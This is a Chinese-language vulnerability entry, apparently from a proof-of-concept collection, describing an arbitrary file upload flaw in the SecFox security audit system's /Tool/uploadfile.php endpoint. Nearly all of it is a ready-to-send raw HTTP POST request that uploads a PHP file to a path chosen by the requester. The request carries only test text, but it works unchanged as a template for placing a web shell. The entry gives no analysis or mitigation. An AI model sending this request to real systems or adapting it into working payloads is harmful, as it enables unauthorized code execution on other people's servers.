网神SecFox 安全审计系统 /Tool/uploadfile.php 路径存在任意文件上传漏洞

日期: 2023-03-14 | 影响软件: SecFox | POC: 已公开

漏洞描述

网神SecFox 安全审计系统 /Tool/uploadfile.php 路径存在任意文件上传漏洞

PoC代码

POST /Tool/uploadfile.php HTTP/1.1
Host: 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Content-Length: 304
Content-Type: multipart/form-data; boundary=2fa4b9c0946cfce9dbfa082244377447
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
Origin: http://[REDACTED]
Referer: http://[REDACTED]/Tool/uploadfile.php
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0

--2fa4b9c0946cfce9dbfa082244377447
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

testxep
--2fa4b9c0946cfce9dbfa082244377447
Content-Disposition: form-data; name="txt_path"

/home/xep.php
--2fa4b9c0946cfce9dbfa082244377447--

相关漏洞推荐